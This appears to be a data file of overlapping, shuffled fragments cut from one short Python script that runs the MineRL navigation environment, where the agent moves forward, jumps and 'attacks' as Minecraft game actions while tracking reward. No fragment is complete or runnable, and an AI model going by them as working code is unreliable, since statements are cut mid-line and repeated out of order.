"gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done = False net_reward = 0 while not",
"= 1 action['attack'] = 1 obs, reward, done, info = env.step(action) env.render() net_reward",
"reward, done, info = env.step(action) env.render() net_reward += reward print(\"Total reward: \", net_reward)",
"while not done: action = env.action_space.noop() print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]]",
"1 action['attack'] = 1 obs, reward, done, info = env.step(action) env.render() net_reward +=",
"import gym import logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done",
"1 action['jump'] = 1 action['attack'] = 1 obs, reward, done, info = env.step(action)",
"= gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done = False net_reward = 0 while",
"= 0 while not done: action = env.action_space.noop() print(action) action['camera'] = [0, 0.03",
"= 1 obs, reward, done, info = env.step(action) env.render() net_reward += reward print(\"Total",
"= 1 action['jump'] = 1 action['attack'] = 1 obs, reward, done, info =",
"import logging logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done = False",
"action['back'] = 0 action['forward'] = 1 action['jump'] = 1 action['attack'] = 1 obs,",
"= [0, 0.03 * obs[\"compassAngle\"]] action['back'] = 0 action['forward'] = 1 action['jump'] =",
"action['attack'] = 1 obs, reward, done, info = env.step(action) env.render() net_reward += reward",
"print('v') obs = env.reset() done = False net_reward = 0 while not done:",
"done: action = env.action_space.noop() print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back'] =",
"not done: action = env.action_space.noop() print(action) action['camera'] = [0, 0.03 * obs[\"compassAngle\"]] action['back']",
"action['forward'] = 1 action['jump'] = 1 action['attack'] = 1 obs, reward, done, info",
"logging.basicConfig(level=logging.DEBUG) env = gym.make('MineRLNavigateDense-v0') print('v') obs = env.reset() done = False net_reward =",
"net_reward = 0 while not done: action = env.action_space.noop() print(action) action['camera'] = [0,",
"env.reset() done = False net_reward = 0 while not done: action = env.action_space.noop()",
"0 while not done: action = env.action_space.noop() print(action) action['camera'] = [0, 0.03 *"
] |
[] |
[] |